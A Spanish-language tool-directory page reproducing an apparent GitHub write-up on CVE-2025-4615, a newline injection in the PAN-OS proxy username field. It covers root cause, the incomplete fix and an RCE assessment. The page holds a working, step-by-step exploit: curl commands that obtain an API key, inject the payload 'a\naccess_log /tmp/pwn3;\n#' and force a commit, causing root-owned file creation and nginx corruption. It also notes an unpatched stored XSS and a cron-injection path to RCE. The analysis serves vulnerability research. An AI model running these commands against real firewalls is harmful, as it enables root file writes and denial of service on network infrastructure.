Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2025-4615 — cve-2025-4615 PoC y análisis profundo | Kitploit
Herramientas/GitHubGitHub/sh00bx/cve-2025-4615
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebAuditoría de ConfiguraciónPruebas de Penetración
GitHubsh00bx/cve-2025-4615

cve-2025-4615

cve-2025-4615 PoC y análisis profundo

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-4615 — Análisis Técnico y Prueba de Concepto

Vulnerabilidad: Neutralización Inadecuada de Entrada en la Interfaz Web de Administración de PAN-OS
Vendor Advisory: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (MEDIO) — Integridad ALTA, Disponibilidad ALTA
CWE: CWE-83 (Neutralización Inadecuada de Script en Atributos en una Página Web)
CAPEC: CAPEC-165 (Manipulación de Archivos)
Crédito: Visa Inc.
Fecha de Análisis: 2026-03-26


1. Resumen Ejecutivo

CVE-2025-4615 es una vulnerabilidad de inyección de nueva línea en el campo de configuración secure-proxy-user de PAN-OS de Palo Alto Networks. Un administrador autenticado puede inyectar caracteres de nueva línea (\n) en el nombre de usuario del proxy a través de la API XML o la interfaz web. Durante el commit, este valor se escribe sin sanitizar en /etc/nginx/nginx.conf, saliendo de una línea de comentario e inyectando directivas arbitrarias de nginx.

Impacto:

  • Creación/escritura arbitraria de archivos como root mediante la directiva access_log inyectada
  • Denegación de Servicio — las directivas inválidas impiden la recarga de nginx, matando la interfaz de administración
  • Corrupción de configuración en múltiples archivos de configuración del sistema

Nota: La corrección del proveedor (eliminación de caracteres de nueva línea) es incompleta — el mismo campo sigue siendo vulnerable a Cross-Site Scripting almacenado (XSS) porque no se aplica codificación de salida ni lista de caracteres permitidos.


2. Análisis de Causa Raíz

2.1 El Punto de Inyección

El campo secure-proxy-user está definido en el esquema de PAN-OS (schema.xml) como una cadena simple sin sanitización de entrada:

root@kitploit:~
<element name="secure-proxy-user" optional="yes" type="string"
         help-string="Secure Proxy user name to use"/>

Nota: secure-proxy-server tiene una restricción de expresión regular (regex="^([0-9a-zA-Z.:/_-])+$"), pero secure-proxy-user no tiene ninguna. Hay un límite de 31 caracteres, pero sin restricciones de caracteres.

2.2 El Escritor de Configuración Vulnerable

Durante el commit, PAN-OS regenera /etc/nginx/nginx.conf a partir de una plantilla (/etc/nginx/nginx.conf.tmpl). La plantilla contiene:

root@kitploit:~
#pan_proxy_comment %s

El marcador %s es rellenado por la función de la biblioteca libpanmp_mp.so que concatena el servidor proxy, el nombre de usuario y la contraseña cifrada en una sola cadena. En la versión vulnerable, los caracteres de nueva línea en el nombre de usuario se pasan sin modificar.

2.3 La Corrupción Resultante de nginx.conf

Cuando secure-proxy-user contiene a\naccess_log /tmp/pwn3;\n#, el nginx.conf generado se convierte en:

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 a        — Comment (harmless)
access_log /tmp/pwn3;                  — INJECTED DIRECTIVE (executed by nginx!)
# -AQ==encrypted_password==            — Password commented out by injected #

La línea 1 es un comentario. La línea 2 es una directiva nginx válida a nivel del bloque http. La línea 3 es neutralizada por el carácter # del atacante.

2.4 Por Qué Esto Es Peligroso

El proceso maestro de nginx se ejecuta como root. La directiva access_log hace que nginx abra/creé el archivo destino como root. Esto permite:

  1. Creación arbitraria de archivos en cualquier parte del sistema de archivos
  2. Escritura arbitraria de archivos (se añade contenido de registro de acceso HTTP)
  3. DoS si se inyecta una directiva inválida (nginx se niega a recargar)

3. La Corrección (y sus Limitaciones)

En la versión corregida (11.1.13), el escritor de configuración elimina los caracteres de nueva línea del nombre de usuario del proxy antes de escribirlo en nginx.conf. El mismo valor malicioso produce:

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==

Todo permanece en una línea, de forma segura dentro del comentario #.

Sin embargo, esta corrección es incompleta. Solo aborda la inyección de nueva línea. El campo secure-proxy-user aún acepta caracteres arbitrarios (incluyendo ", <, >) sin codificación de salida, dejando el vector XSS almacenado totalmente abierto. Ver unit-43-xss.


4. Prueba de Concepto

Requisitos Previos

  • Acceso de administrador autenticado a la gestión de PAN-OS (API o interfaz web)
  • Un secure-proxy-server configurado (necesario para que aparezca el comentario del proxy)

Paso 1: Obtener Clave API

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"

Paso 2: Configurar Servidor Proxy (si no está configurado)

root@kitploit:~
curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"

Paso 3: Inyectar Nombre de Usuario Proxy Malicioso

root@kitploit:~
# Payload: "a\naccess_log /tmp/pwn3;\n#"
# Total: 26 characters (within 31-char limit)
# Injects: access_log /tmp/pwn3; — creates /tmp/pwn3 as root

curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'

Paso 4: Hacer Commit de la Configuración

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"

Paso 5: Verificar

Después de que el commit se completa (~30s):

  • /tmp/pwn3 se crea con propietario root
  • nginx -t -c /etc/nginx/nginx.conf reporta: syntax is ok
  • nginx se recarga exitosamente con la directiva inyectada

5. Análisis de Propagación

El valor no sanitizado de secure-proxy-user se propaga a múltiples archivos:

Los escritores de curlrc (/root/.curlrc) y wgetrc (/root/.wgetrc) sí eliminan las nuevas líneas, incluso en la versión vulnerable. El escritor de nginx.conf fue la única ruta que no sanitizaba.


6. Evaluación de RCE

Pruebas exhaustivas de 11 vectores de ataque confirmaron que RCE a nivel de sistema operativo independiente solo desde CVE-2025-4615 no es alcanzable en PAN-OS 11.1.6-h7 con nginx 1.20.1. Los tres bloqueadores críticos:

  1. Escapado de \x0A en nginx — impide la inyección de nuevas líneas sin procesar en archivos de registro, bloqueando la inyección de cron a pesar de la tolerancia de vixie-cron a líneas basura (confirmado en laboratorio: cron sí ejecuta líneas válidas rodeadas de basura)
  2. Límite de 31 caracteres — impide combinar log_format + access_log para obtener control de contenido sobre los archivos escritos
  3. Eliminación de nuevas líneas en curlrc/wgetrc — elimina el canal secundario de escritura de archivos

La frase del aviso "ejecutar comandos arbitrarios" probablemente se refiere a directivas nginx arbitrarias, no a ejecución de comandos a nivel de sistema operativo. Esto es consistente con el CVSS VC:N (sin impacto en confidencialidad) y la naturaleza de la corrección.

Si alguno de los tres bloqueadores estuviera ausente, RCE sería trivialmente alcanzable mediante la inyección de cron.


Análisis realizado en entorno de laboratorio aislado con PAN-OS 11.1.6-h7 (vulnerable) y PAN-OS 11.1.13 (corregido).

Descargar herramienta
ArchivoImpacto
/etc/nginx/nginx.confCrítico — inyección de directiva nginx
/opt/pancfg/tmp/.tdb_conf.xmlConfiguración de base de datos de plantilla (inyección XML)
/opt/pancfg/mgmt/audit/cfg-audit.xml,vCorrupción de registro de auditoría
/opt/pancfg/mgmt/replaydb/replay.dbCorrupción de base de datos de reproducción
Configuraciones de demonio generadas por XSL (authd, cord, useridd, etc.)Valor XML preservado con nuevas líneas